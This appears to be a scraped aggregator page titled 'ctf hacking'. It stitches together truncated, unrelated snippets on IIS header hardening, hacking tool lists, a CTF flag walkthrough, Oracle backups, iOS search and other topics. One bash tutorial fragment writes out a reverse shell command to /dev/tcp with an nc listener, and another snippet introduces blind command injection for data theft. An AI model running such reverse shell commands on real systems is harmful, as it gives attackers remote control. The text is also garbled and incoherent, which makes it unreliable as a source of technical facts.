ctf hacking

", and set the value to 1. Before Configuration: After Configuration: 1.2.2 Delete the X-Powered-By field Open IIS manager, switch to site view, and open "HTTP Response Header ". Delete the X-Powered-By field here. 1.2.3 Delete the X-AspNet-Version field Open web. config under the site and make the following Configuration:Open the Global. asax file and add the following code to the Application_Start function:MvcHandler. DisableMvcResponseHeader = true; Final result: Welcome to Xuan soul's blo

also wrote an (optional) feature the looks for notes about coffee and calculates my levels of caffeine based on actualhalf-life of coffee. I am Curious what caffeine does to my productivity! I Group my Windows into display groups Barcodes , where the first group involves F Un (gmail/chrome/non-coding files opened in Sublime Text 2-such as . markdown for blogging) and the SE Cond the group involves work (Matlab/ipython Notebook with.js/.css/.cpp/.h/.py files, or PDF files opened (papers)

from freebuf.com freebuf This article mainly enumerates the hacker tools used in the "Mr Robot" TV series, and gives a brief introduction to the hacker tools that they correspond to in reality.Mr. RobotIn 2015, the United States played a TV series on the subject of hacking, believing that the students who watched the hackers ' TV dramas and movies had already seen or were chasing the mysterious Mr Robot, especially for the computer fans or the tech f

The attack and prevention of wireless network has always been a hot topic, because wireless signal can be received by anyone within a certain range (including dead black width), which brings a security hazard to WiFi; router manufacturers and Network service providers (ISPs) are mostly configured to have WPS enabled by default, in this environment, Wireless networks are often an important breach of security penetration testing. With these 10 WiFi attack tools, we can test our wireless network fo

2016 what Android applications are essential to hackers? Disclaimer: I am releasing this list for your learning purposes only. We do not support any use of any of these tools for any immoral and malicious attacks. Based on a series of evaluations and hands-on experience in the industry, we have compiled this list of the best Android hacking applications. In addition to the description of the application itself, the relevant websites and download link

Https://www.hackingwithswift.com/ios9Search ExtensibilityUpdate:i wrote a tutorial on Core Spotlight in IOS 9 as Hacking with Swift project 32–check it out!Finally (finally!) You can hook your apps directly to Spotlight for integrated, System-wide search, and it comes in the form of Corespotlight. But don ' t get your hopes up:spotlight doesn ' t just magically index all your data while you sit back and snooze. Instead, you need-specify exactly what d

before going live with them6 Security Concepts TechnologiesA good hacker understands security concepts and technologies. The only-to-overcome the roadblocks established by the security admins are to being familiar with them. The hacker must understand such things as PKI (public Key Infrastructure), SSL (Secure Sockets Layer), IDS (intrusion dete ction system), firewalls, etc.The beginner hacker can acquire many of these skills in a basic security course such as security+. How to Read

First, let's talk about the purpose of writing this article. More and more people have recently asked me some other stupid questions, such as "how can I blacklist hotmail" or aol. This article will indeed explain some knowledge about "hack" to you. If you are a beginner, you should read this article from the beginning to the end, or if you have already obtained an advanced level, don't read it any more. You should understand it all. I may add some content to this Article or make it easier to und

code is simple, with two button events bound to full screen and exit. The page starts with the following effects: When you click Full screen, the effect is as follows: Click to exit Full screen when the effect is as follows: 11.3 Summary This article mainly refers to the official English document of Node-webkit, and makes the appropriate adjustment (Https://github.com/rogerwang/node-webkit/wiki/Window). despise does not indicate the source of the reprint, more relevant content, welcome t

Key words: Invalid Input Method switching. The key of the input method does not work. ctrl + space cannot input Chinese characters. [Problem description] I recently tried QQ Pinyin input method, and the result shows that the Chinese Input Method is unavailable. The specific manifestation is that Ctrl + Space cannot be switched from the English input state to the Chinese Input State (but a Space character is entered ). That is, you can use Ctrl + Shift to switch to the Chinese input method. In

Technical analysis: How can attackers use blind injection of system commands to achieve "database theft? In the penetration test or CTF challenge, you may encounter an application that requires the user to input text information, the application passes user input as a parameter to a system command or to the associated program running tasks at the underlying layer. However, we know that if the input information is not verified or filtered, the applicat

killed. Later, the students said that they should take a closer look at the source code. Who wrote the web page, he may be able to see what. I noticed that I did not write the first sentence as usual. I noticed that the page had css, so I ran away from the http://drops.wooyun.org/web/11539article, but it seemed useless. Baidu gave the first sentence. !!? Identify and load, and try again. AngularJS expressions are written in double braces:{{ expression }}. Recognized! After confirming the ve

)); Table created. SQL> insert into table1 values (0001, 'tiany '); 1 row created. SQL> insert into table1 values (0002, 'zhong '); 1 row created. SQL> select * from table1; ID NAME ---------------------------------------- 1 Tian 2 zhong SQL> commit; Commit complete. Configure RMAN Environment Variables Switch the sys user for level 0 backup: Use the configure command to configure the RMAN environment: RMAN> configure controlfile autobackup on; # enable automatic backup of archived logs RMAN> c

Links: http://www.shiyanbar.com/ctf/1819Topic:F12 Debug:Decisively change the value of the Showsource field to 1Enter the content in the box, return, show the source codeDescription PIN value is:-19827747736161128312837161661727773716166727272616149001823847Submit this value to get flag: Ctf{forms_are_easy}The role of value in HTMLThe value in the button refers to the text that is displayed on the button

. compile the M file. DLL files are put into the VC ++ program. This method is practical and simple: 1. Set the MATLAB compiling environment and find the VC Compiler (I used the MATLAB, vs. net2003, or msvc7.1) 2. Create a dynamic link library and use the MCC command (for example, for my example below): MCC-W cpplib: libinverse-T link: Lib inverse. M. 3. Use it in. DLL. First, you must configure environment variables for vs (for more specific configurations, see environment), including system, V

The library is not an environment to write a CTF question ...It's not going to go down ... ..... ... .... ... ..... .... ..... ..... ..... ............................. Even if it's going to be a race...... It's probably not like it.... ACM is not aware of the fact that I need it in addition to the resources.The library can only write ACM questions or strokes ..... ..... ..... ...............................The feeling of writing a

Linux Command: bash language details, linux Command bash details Bash is a command interpretation language. It can execute commands that read standard input or files, execute commands, and rebound shell with nc! Basic syntax Bash-c command Root @ kali :~ # Bash-c whoami Root Root @ kali :~ # In addition, use-I to run the shell in interactive mode, which is usually run on the target host. Bash-I> /dev/tcp/192.168.5.1/2222 0> 1 Then, the other host uses nc to listen to the port, and a sh

Open the text file Modi comm filename.txt (for example, Modi comm yyy702.txt) In VF) Step-by-step analysis table: Create a field (foreseeable type and length) and a long field (to be decomposed) Creat yy612 Appe from yyy612.txt Appe from yyy612.txt SDF Use yy612 Appe from yyy612.txt SDF Appe from yyy702.txt SDF Brow Modi stru Appe from yyy702.txt SDF Brow Modi stru Zap Appe from yyy702.txt SDF Brow Modi comm 702 Use the program segment to process data: Set safe off Use yyy611

This CTF was started last week and completed all seven questions in about a week. It is a warm-up and learning process for the coming job. Below we record the problems encountered and what we learned. The specific problem solving process is not described in detail. Challenge1 This question was opened with Ida and found to be a. Net program.. NetReflector decompile and locate the processing function of the button to locate the decoding function. Chal

In daily infiltration, vulnerability mining, and even the CTF race will encounter a variety of coding, often accompanied by the various conversions between these encodings. The following article mainly introduces the use of code conversion in Python related data, the need for friends can reference, let's take a look at it. Objective Remember just getting started that time, their own handling of the code conversion problem is often "Baidu: URL decodin